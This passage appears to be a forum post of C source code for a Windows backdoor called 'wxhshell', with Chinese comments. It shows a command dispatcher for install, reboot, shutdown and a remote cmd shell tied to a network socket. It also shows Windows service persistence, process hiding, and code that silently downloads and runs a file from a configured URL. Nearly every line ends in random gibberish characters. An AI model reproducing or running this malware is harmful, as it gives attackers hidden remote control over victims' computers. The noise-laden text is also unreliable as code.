      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T6- e  
    break; YJXh|@LT  
  } 7PP76$  
  // 安装 .wS' Xn&  
  case 'i': { xk.\IrB_  
    if(Install()) }3^t,>I=,6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Scs \nF2  
    else .#J'+LxFr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,T jd  
    break; !>;p^^e  
    } w]F(o  
  // 卸载 =Q Otag1;  
  case 'r': { `2d,=.X  
    if(Uninstall()) PS!f&IY}[.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ShHm7+fV  
    else cq % =DZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -~v;'zOO  
    break; 6#.z:_  
    } EQz`o+  
  // 显示 wxhshell 所在路径 &kRkOjuk  
  case 'p': { +`_%U7p(  
    char svExeFile[MAX_PATH]; SS@# $t:  
    strcpy(svExeFile,"\n\r"); #ra:^9;Es:  
      strcat(svExeFile,ExeFile); AXz'=T}{  
        send(wsh,svExeFile,strlen(svExeFile),0); )5)S8~Oc  
    break; p?=rQte([  
    } +!dIEt).U  
  // 重启 (PE"_80Z  
  case 'b': { pvP|.sw5G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vXRfsv y  
    if(Boot(REBOOT)) !2tZ@ p|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x>;! `}x  
    else { )1Os+0az  
    closesocket(wsh); zpiqJEf|'"  
    ExitThread(0); "M6:)h9jV  
    } 4vW:xK  
    break; !YsL x[+  
    }  N6E H  
  // 关机 q%"]}@a0  
  case 'd': { QpAK]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kOx2P(UAEx  
    if(Boot(SHUTDOWN)) ZVVK:d Dgt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]f-< s,@  
    else { G;qC& 7T  
    closesocket(wsh); W!2(Ph*  
    ExitThread(0); 9]Uvy|  
    } Bj;Fy9[yb  
    break; AnfJyltS  
    } W(1p0|WQ:  
  // 获取shell Fla,#uB  
  case 's': { %#yCp2  
    CmdShell(wsh); O:q 0-  
    closesocket(wsh); IdUMoLL?  
    ExitThread(0);  o-_0  
    break; >QU1_'1r  
  } 5L"{J5R}  
  // 退出 |u<qbl  
  case 'x': { 2W~,,$ G  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); / \!hW-+]W  
    CloseIt(wsh); Pj8s;#~u  
    break; TfDx> F$  
    } 7y&Fb  
  // 离开 |\*7J!Liv  
  case 'q': { RN]4Is:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tb/bEy^  
    closesocket(wsh); b`PAOQ  
    WSACleanup(); OTl\^!  
    exit(1); $e_A( |  
    break; (SfP3  
        } \@8$tQCZ  
  } 2N9 BI-a  
  } \3hhM}6)DM  
[58xT>5`m  
  // 提示信息 ,[D,G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^g$k4  
} iL)q':xz  
  } k 9R_27F  
!r,ZyJU  
  return; Jb#*QJ=  
} |)} F}~&  
7,d^?.~S  
// shell模块句柄 $C##S@  
int CmdShell(SOCKET sock) A5Qzj]{ba  
{ dur}3oS0p  
STARTUPINFO si; zT6ng#  
ZeroMemory(&si,sizeof(si)); .1XZ9M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hz`rw\\Xq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B)Hs>Mh|W  
PROCESS_INFORMATION ProcessInfo; ! %S9H2Lv  
char cmdline[]="cmd"; p)(mF"\8=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .[? E1we  
  return 0; FZ6.<wN  
} :=UiEDN@  
,]w -!I  
// 自身启动模式 :(c2YZ   
int StartFromService(void) aBj~370g  
{ 72GXgah  
typedef struct DQDt*Uj,  
{ 1uG?R  
  DWORD ExitStatus; p{"p<XFyO  
  DWORD PebBaseAddress; C eNpJ  
  DWORD AffinityMask; .taJCE  
  DWORD BasePriority; 43W>4fsc  
  ULONG UniqueProcessId; R4"["T+L`  
  ULONG InheritedFromUniqueProcessId;  (d |  
}   PROCESS_BASIC_INFORMATION; $h0]  
{6!Mf+Xq  
PROCNTQSIP NtQueryInformationProcess; yb2*K+Kv  
9t(B{S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t48(,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i,NN"  
N'+d1  
  HANDLE             hProcess; L[)+J2_<  
  PROCESS_BASIC_INFORMATION pbi; 2T<QG>;)j  
7 6~x|6)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "!i7U2M'  
  if(NULL == hInst ) return 0; :c"J$wT/  
nchhNU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xG 7;Ps4L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >G92k76G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m0t 5oO  
WW2VW-Hk  
  if (!NtQueryInformationProcess) return 0; 4f ~CG r  
!T@>Ld:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b#FN3AsR  
  if(!hProcess) return 0; v1?P$f*g  
m=k(6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !g e,]@/  
%@'9<i8o  
  CloseHandle(hProcess); + V4BJ/H  
W78Z<Vm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WZ&/l 65J  
if(hProcess==NULL) return 0; |j&u2DM~#m  
'D#}ce)s#  
HMODULE hMod; vQ^a7  
char procName[255]; PorBB7iL  
unsigned long cbNeeded; &STgj|t_  
H6 ( ~6Bp5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B< P H7  
d~tG#<^`  
  CloseHandle(hProcess); k[R/RhHQ,  
z kYl IUD  
if(strstr(procName,"services")) return 1; // 以服务启动 i >Hh_q;'  
O?p.kf{b  
  return 0; // 注册表启动 cpz}!D  
} jb$sIZ%i  
G1  %c<1Y  
// 主模块 }UMg ph:2:  
int StartWxhshell(LPSTR lpCmdLine) EMU~gwPR  
{ 3!`Pv ?|o  
  SOCKET wsl; Jg/l<4,K,  
BOOL val=TRUE;  %1<No/  
  int port=0; x-:vpv%6y  
  struct sockaddr_in door; h ^g"FSzP  
 7=0uG  
  if(wscfg.ws_autoins) Install(); us\@n"  
n=MdbY/k(  
port=atoi(lpCmdLine); I >k3X~cG  
8s-RNA>7^  
if(port<=0) port=wscfg.ws_port; u{"o*udU  
S;M'qwN  
  WSADATA data; N*$<Kjw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x~!B.4gT2  
H@bra~k-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   V:9|9$G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X ~%I(?OX  
  door.sin_family = AF_INET; aj51%wKMb:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5(q\x(N  
  door.sin_port = htons(port); 9E)*X  
E^zgYkZO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >Bq;Z}EV  
closesocket(wsl); 90|p]I%  
return 1; YYr &Jc j  
} d*,% -Io  
n9]^v-]K  
  if(listen(wsl,2) == INVALID_SOCKET) { 7)O?jc  
closesocket(wsl); vnMt>]w-}  
return 1; oD4NQR  
} [@U8&W  
  Wxhshell(wsl); >};,Byv!%  
  WSACleanup(); ~` @dI  
e'[T5HI  
return 0; *#;8mM  
10_eUQN  
} iN8?~T}w  
g4<%t,(88E  
// 以NT服务方式启动 'C+z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yc|C}oQF  
{ "5 PP<A,F(  
DWORD   status = 0; n{d}]V@  
  DWORD   specificError = 0xfffffff; QG?7L_I  
!;{@O`j?b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GRCc<TM, U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }X$vriW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *_`T*$  
  serviceStatus.dwWin32ExitCode     = 0; \NhCu$'  
  serviceStatus.dwServiceSpecificExitCode = 0; GK)3a 9;  
  serviceStatus.dwCheckPoint       = 0; lyI rO"o  
  serviceStatus.dwWaitHint       = 0; @^a6^*X>  
v]F q}I"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N~{0QewMI'  
  if (hServiceStatusHandle==0) return; il<D e]G  
\#1!qeF  
status = GetLastError(); Dx$74~2e  
  if (status!=NO_ERROR) z}.!q{Q  
{ #pBAGm3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z@>z.d4  
    serviceStatus.dwCheckPoint       = 0; #bUWF|zfT  
    serviceStatus.dwWaitHint       = 0; ZLyJ  
    serviceStatus.dwWin32ExitCode     = status; =rl/ l8|P  
    serviceStatus.dwServiceSpecificExitCode = specificError; Re5m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MG>g?s'!  
    return; t;Jt+k~  
  } IJ!]1fXy+  
|xZDc6HDW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 33J}AK^FE  
  serviceStatus.dwCheckPoint       = 0; 9-o{[  
  serviceStatus.dwWaitHint       = 0; ogs9obbZ!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jc~^32  
} yiQke   
Ictc '#y  
// 处理NT服务事件,比如:启动、停止 b<_*~af  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1B'i7  
{ ^%~ztn 51  
switch(fdwControl) x,E#+ m  
{ cBmo#:>'  
case SERVICE_CONTROL_STOP: 0 !9vGs  
  serviceStatus.dwWin32ExitCode = 0; g-pDk*|I,Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9<kKno  
  serviceStatus.dwCheckPoint   = 0; )PL'^gR r  
  serviceStatus.dwWaitHint     = 0; , M/-lW  
  { pWSYbN+d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8H./@~_ =  
  } -))>7skc  
  return; [P OcO  
case SERVICE_CONTROL_PAUSE: YP>VC(f   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &YO5N4X~o  
  break; j8zh^q  
case SERVICE_CONTROL_CONTINUE: -?e~dLu  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; cNw<k&w6F  
  break; PtO-%I<N  
case SERVICE_CONTROL_INTERROGATE: XtT;UBE  
  break; Bh:AY@k  
}; j8?$Hk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TUJ]u2J8?  
} W2|*:<Jt  
CWE jX-  
// 标准应用程序主函数 eM/|"^%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \cPGyeq  
{ `PSr64h:D  
Y((z9-`  
// 获取操作系统版本 *u>2"!+Ob  
OsIsNt=GetOsVer(); E?y0UD[8J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); NhCO C  
fdho`juFa  
  // 从命令行安装 0MMY{@n  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5U|f"3&8  
86/CA[Y-  
  // 下载执行文件 L}nj#z4g  
if(wscfg.ws_downexe) { <%JdQ82?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |?s%8c'w=  
  WinExec(wscfg.ws_filenam,SW_HIDE); *{Wh- bc  
} ?8-e@/E#x  
N TXT0:  
if(!OsIsNt) { s.1(- "DU  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;s"m* 4N  
HideProc(); u):z1b3*?  
StartWxhshell(lpCmdLine); pTGq4v@6x  
} o1MbHBb  
else ?Y ) Qy,  
  if(StartFromService()) < t>N(e  
  // 以服务方式启动 ^>GL<1 1  
  StartServiceCtrlDispatcher(DispatchTable); <^R\N#  
else 8Qu7x[tK?  
  // 普通方式启动 H4k`wWOk  
  StartWxhshell(lpCmdLine); PfnhE>[>cf  
LN?T$H  
return 0; _ H$ Cm  
}
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只看该作者 1 发表于: 2006-10-10
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